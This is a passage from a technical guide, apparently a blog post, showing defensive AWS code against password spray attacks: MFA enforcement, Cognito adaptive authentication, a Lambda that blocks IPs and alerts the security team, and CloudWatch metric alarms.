                    <span class="sh">"</span><span class="s">time_window</span><span class="sh">"</span><span class="p">:</span> <span class="mi">300</span>
                <span class="p">})</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">rule_response</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="multi-factor-authentication-implementation">Multi-Factor Authentication Implementation</h2>

<h3 id="aws-iam-identity-center-mfa-configuration">AWS IAM Identity Center MFA Configuration</h3>

<p>Implementing robust multi-factor authentication serves as the primary defense against password spray attacks, even when credentials are compromised:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c1"># CloudFormation template for MFA enforcement</span>
<span class="na">Resources</span><span class="pi">:</span>
  <span class="na">PasswordSprayDefenseMFA</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SSO::PermissionSet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="s">EnforcedMFAPermissionSet</span>
      <span class="na">Description</span><span class="pi">:</span> <span class="s">Permission set requiring MFA for all access</span>
      <span class="na">InstanceArn</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SSOInstance</span>
      <span class="na">SessionDuration</span><span class="pi">:</span> <span class="s">PT1H</span>
      <span class="na">InlinePolicy</span><span class="pi">:</span> <span class="pi">|</span>
        <span class="s">{</span>
          <span class="s">"Version": "2012-10-17",</span>
          <span class="s">"Statement": [</span>
            <span class="s">{</span>
              <span class="s">"Effect": "Deny",</span>
              <span class="s">"Action": "*",</span>
              <span class="s">"Resource": "*",</span>
              <span class="s">"Condition": {</span>
                <span class="s">"BoolIfExists": {</span>
                  <span class="s">"aws:MultiFactorAuthPresent": "false"</span>
                <span class="s">}</span>
              <span class="s">}</span>
            <span class="s">}</span>
          <span class="s">]</span>
        <span class="s">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="adaptive-authentication-with-aws-cognito">Adaptive Authentication with AWS Cognito</h3>

<p>For application-layer authentication, AWS Cognito provides adaptive authentication capabilities:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">configure_adaptive_authentication</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Configure Cognito User Pool with adaptive authentication
    </span><span class="sh">"""</span>
    <span class="n">cognito</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cognito-idp</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Configure user pool with advanced security features
</span>    <span class="n">user_pool</span> <span class="o">=</span> <span class="n">cognito</span><span class="p">.</span><span class="nf">create_user_pool</span><span class="p">(</span>
        <span class="n">PoolName</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDefensePool</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Policies</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">PasswordPolicy</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">MinimumLength</span><span class="sh">'</span><span class="p">:</span> <span class="mi">14</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">RequireUppercase</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">RequireLowercase</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">RequireNumbers</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">RequireSymbols</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">TemporaryPasswordValidityDays</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="n">UserPoolAddOns</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">AdvancedSecurityMode</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ENFORCED</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="n">Schema</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">AttributeDataType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">String</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Required</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Mutable</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="c1"># Configure risk-based authentication
</span>    <span class="n">cognito</span><span class="p">.</span><span class="nf">put_user_pool_configuration</span><span class="p">(</span>
        <span class="n">UserPoolId</span><span class="o">=</span><span class="n">user_pool</span><span class="p">[</span><span class="sh">'</span><span class="s">UserPool</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">UserPoolAddOns</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">AdvancedSecurityMode</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ENFORCED</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="n">CompromisedCredentialsRiskConfiguration</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">EventFilter</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">SIGN_IN</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">PASSWORD_CHANGE</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">SIGN_UP</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">Actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">EventAction</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BLOCK</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">user_pool</span><span class="p">[</span><span class="sh">'</span><span class="s">UserPool</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="automated-incident-response">Automated Incident Response</h2>

<h3 id="lambda-based-response-automation">Lambda-Based Response Automation</h3>

<p>Implement automated response mechanisms that trigger when password spray attacks are detected:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>

<span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Automated response to password spray detection
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">block_suspicious_ip</span><span class="p">(</span><span class="n">ip_address</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Block IP address using AWS WAF</span><span class="sh">"""</span>
        <span class="n">waf</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">wafv2</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="n">waf</span><span class="p">.</span><span class="nf">update_ip_set</span><span class="p">(</span>
            <span class="n">Scope</span><span class="o">=</span><span class="sh">'</span><span class="s">CLOUDFRONT</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Id</span><span class="o">=</span><span class="sh">'</span><span class="s">password-spray-blocklist</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayBlocklist</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">IPs blocked for password spray activity</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Addresses</span><span class="o">=</span><span class="p">[</span><span class="n">ip_address</span><span class="p">]</span>
        <span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">notify_security_team</span><span class="p">(</span><span class="n">alert_details</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Send notification to security team</span><span class="sh">"""</span>
        <span class="n">sns</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sns</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="n">message</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">alert_type</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Password Spray Detected</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">"</span><span class="s">details</span><span class="sh">"</span><span class="p">:</span> <span class="n">alert_details</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">recommended_actions</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="sh">"</span><span class="s">Review authentication logs for affected accounts</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Implement additional monitoring for source IPs</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Consider forcing password reset for targeted accounts</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Review and update MFA enforcement policies</span><span class="sh">"</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="n">sns</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span>
            <span class="n">TopicArn</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:security-alerts</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Message</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">message</span><span class="p">),</span>
            <span class="n">Subject</span><span class="o">=</span><span class="sh">'</span><span class="s">ALERT: Password Spray Attack Detected</span><span class="sh">'</span>
        <span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">analyze_authentication_patterns</span><span class="p">(</span><span class="n">cloudtrail_events</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Analyze authentication patterns for spray indicators</span><span class="sh">"""</span>
        
        <span class="c1"># Group events by source IP and time window
</span>        <span class="n">ip_failures</span> <span class="o">=</span> <span class="p">{}</span>
        <span class="n">current_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">()</span>
        
        <span class="k">for</span> <span class="n">event</span> <span class="ow">in</span> <span class="n">cloudtrail_events</span><span class="p">:</span>
            <span class="n">event_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">event</span><span class="p">[</span><span class="sh">'</span><span class="s">eventTime</span><span class="sh">'</span><span class="p">].</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">Z</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">+00:00</span><span class="sh">'</span><span class="p">))</span>
            <span class="n">source_ip</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span>
            
            <span class="c1"># Only analyze recent events (last 15 minutes)
</span>            <span class="nf">if </span><span class="p">(</span><span class="n">current_time</span> <span class="o">-</span> <span class="n">event_time</span><span class="p">).</span><span class="nf">total_seconds</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">900</span><span class="p">:</span>
                <span class="k">continue</span>
                
            <span class="k">if</span> <span class="n">source_ip</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">ip_failures</span><span class="p">:</span>
                <span class="n">ip_failures</span><span class="p">[</span><span class="n">source_ip</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">unique_users</span><span class="sh">'</span><span class="p">:</span> <span class="nf">set</span><span class="p">(),</span>
                    <span class="sh">'</span><span class="s">first_seen</span><span class="sh">'</span><span class="p">:</span> <span class="n">event_time</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">last_seen</span><span class="sh">'</span><span class="p">:</span> <span class="n">event_time</span>
                <span class="p">}</span>
            
            <span class="n">ip_failures</span><span class="p">[</span><span class="n">source_ip</span><span class="p">][</span><span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span>
            <span class="n">ip_failures</span><span class="p">[</span><span class="n">source_ip</span><span class="p">][</span><span class="sh">'</span><span class="s">unique_users</span><span class="sh">'</span><span class="p">].</span><span class="nf">add</span><span class="p">(</span>
                <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span>
            <span class="p">)</span>
            <span class="n">ip_failures</span><span class="p">[</span><span class="n">source_ip</span><span class="p">][</span><span class="sh">'</span><span class="s">last_seen</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">max</span><span class="p">(</span>
                <span class="n">ip_failures</span><span class="p">[</span><span class="n">source_ip</span><span class="p">][</span><span class="sh">'</span><span class="s">last_seen</span><span class="sh">'</span><span class="p">],</span> 
                <span class="n">event_time</span>
            <span class="p">)</span>
        
        <span class="c1"># Identify potential password spray sources
</span>        <span class="n">suspicious_ips</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">ip</span><span class="p">,</span> <span class="n">stats</span> <span class="ow">in</span> <span class="n">ip_failures</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="c1"># Criteria: Multiple unique users, distributed timing, moderate failure rate
</span>            <span class="nf">if </span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">unique_users</span><span class="sh">'</span><span class="p">])</span> <span class="o">&gt;=</span> <span class="mi">3</span> <span class="ow">and</span> 
                <span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mi">5</span> <span class="ow">and</span>
                <span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="mi">50</span><span class="p">):</span>  <span class="c1"># Avoid catching brute force
</span>                <span class="n">suspicious_ips</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">ip</span><span class="sh">'</span><span class="p">:</span> <span class="n">ip</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">stats</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">:</span> <span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">failed_attempts</span><span class="sh">'</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">unique_users</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">unique_users</span><span class="sh">'</span><span class="p">]),</span>
                        <span class="sh">'</span><span class="s">duration</span><span class="sh">'</span><span class="p">:</span> <span class="p">(</span><span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">last_seen</span><span class="sh">'</span><span class="p">]</span> <span class="o">-</span> <span class="n">stats</span><span class="p">[</span><span class="sh">'</span><span class="s">first_seen</span><span class="sh">'</span><span class="p">]).</span><span class="nf">total_seconds</span><span class="p">()</span>
                    <span class="p">}</span>
                <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">suspicious_ips</span>
    
    <span class="c1"># Process the incoming event
</span>    <span class="k">if</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">aws.guardduty</span><span class="sh">'</span><span class="p">:</span>
        <span class="c1"># Handle GuardDuty findings
</span>        <span class="n">finding</span> <span class="o">=</span> <span class="n">event</span><span class="p">[</span><span class="sh">'</span><span class="s">detail</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">].</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">UnauthorizedAPICall</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">source_ip</span> <span class="o">=</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">remoteIpDetails</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">ipAddressV4</span><span class="sh">'</span><span class="p">]</span>
            <span class="nf">block_suspicious_ip</span><span class="p">(</span><span class="n">source_ip</span><span class="p">)</span>
            <span class="nf">notify_security_team</span><span class="p">(</span><span class="n">finding</span><span class="p">)</span>
    
    <span class="k">elif</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">aws.signin</span><span class="sh">'</span><span class="p">:</span>
        <span class="c1"># Handle CloudTrail authentication events
</span>        <span class="n">cloudtrail_events</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Records</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        <span class="n">suspicious_ips</span> <span class="o">=</span> <span class="nf">analyze_authentication_patterns</span><span class="p">(</span><span class="n">cloudtrail_events</span><span class="p">)</span>
        
        <span class="k">for</span> <span class="n">ip_info</span> <span class="ow">in</span> <span class="n">suspicious_ips</span><span class="p">:</span>
            <span class="nf">block_suspicious_ip</span><span class="p">(</span><span class="n">ip_info</span><span class="p">[</span><span class="sh">'</span><span class="s">ip</span><span class="sh">'</span><span class="p">])</span>
            <span class="nf">notify_security_team</span><span class="p">(</span><span class="n">ip_info</span><span class="p">)</span>
    
    <span class="k">return</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">body</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
            <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Password spray response executed successfully</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span>
        <span class="p">})</span>
    <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="advanced-detection-techniques">Advanced Detection Techniques</h2>

<h3 id="statistical-analysis-with-amazon-cloudwatch">Statistical Analysis with Amazon CloudWatch</h3>

<p>Implement statistical monitoring to detect subtle authentication anomalies:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">create_authentication_metrics</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Create CloudWatch custom metrics for authentication analysis
    </span><span class="sh">"""</span>
    <span class="n">cloudwatch</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudwatch</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Create metric filters for CloudTrail logs
</span>    <span class="n">logs</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">logs</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Failed authentication attempts per IP
</span>    <span class="n">logs</span><span class="p">.</span><span class="nf">put_metric_filter</span><span class="p">(</span>
        <span class="n">logGroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">/aws/cloudtrail</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">filterName</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayFailedLogins</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">filterPattern</span><span class="o">=</span><span class="sh">'</span><span class="s">[timestamp, request_id, event_type=</span><span class="sh">"</span><span class="s">ConsoleLogin</span><span class="sh">"</span><span class="s">, source_ip, response=</span><span class="sh">"</span><span class="s">Failure</span><span class="sh">"</span><span class="s">]</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">metricTransformations</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">metricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">FailedLoginsByIP</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metricNamespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Security/Authentication</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metricValue</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">defaultValue</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metricValueExtractor</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">$.sourceIPAddress</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="c1"># Unique users targeted per IP
</span>    <span class="n">logs</span><span class="p">.</span><span class="nf">put_metric_filter</span><span class="p">(</span>
        <span class="n">logGroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">/aws/cloudtrail</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">filterName</span><span class="o">=</span><span class="sh">'</span><span class="s">UniqueUsersTargeted</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">filterPattern</span><span class="o">=</span><span class="sh">'</span><span class="s">[timestamp, request_id, event_type=</span><span class="sh">"</span><span class="s">ConsoleLogin</span><span class="sh">"</span><span class="s">, user_name, source_ip]</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">metricTransformations</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">metricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">UniqueUsersPerIP</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metricNamespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Security/Authentication</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metricValue</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">defaultValue</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="c1"># Create alarm for password spray detection
</span>    <span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_metric_alarm</span><span class="p">(</span>
        <span class="n">AlarmName</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDetection</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">ComparisonOperator</span><span class="o">=</span><span class="sh">'</span><span class="s">GreaterThanThreshold</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">EvaluationPeriods</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span>
        <span class="n">MetricName</span><span class="o">=</span><span class="sh">'</span><span class="s">FailedLoginsByIP</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">Security/Authentication</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Period</span><span class="o">=</span><span class="mi">300</span><span class="p">,</span>  <span class="c1"># 5 minutes
</span>        <span class="n">Statistic</span><span class="o">=</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Threshold</span><span class="o">=</span><span class="mf">10.0</span><span class="p">,</span>
        <span class="n">ActionsEnabled</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
        <span class="n">AlarmActions</span><span class="o">=</span><span class="p">[</span>
            <span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:security-alerts</span><span class="sh">'</span>
        <span class="p">],</span>
        <span class="n">AlarmDescription</span><span class="o">=</span><span class="sh">'</span><span class="s">Detect potential password spray attacks</span><span class="sh">'</span>
    <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="machine-learning-with-amazon-sagemaker">Machine Learning with Amazon SageMaker</h3>

<p>For advanced deployments, implement machine learning models to identify sophisticated attack patterns:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">deploy_ml_detection_model</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Deploy machine learning model for password spray detection
    </span><span class="sh">"""</span>
    <span class="n">sagemaker</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sagemaker</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Model configuration for authentication anomaly detection
</span>    <span class="n">model_config</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">ModelName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PasswordSprayDetectionModel</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">PrimaryContainer</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">Image</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">763104351884.dkr.ecr.us-east-1.amazonaws.com/sklearn-inference:0.23-1-cpu-py3</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ModelDataUrl</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">s3://ml-models-bucket/password-spray-detection/model.tar.gz</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">SAGEMAKER_PROGRAM</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">inference.py</span><span class="sh">'</span><span class="p">,</span>
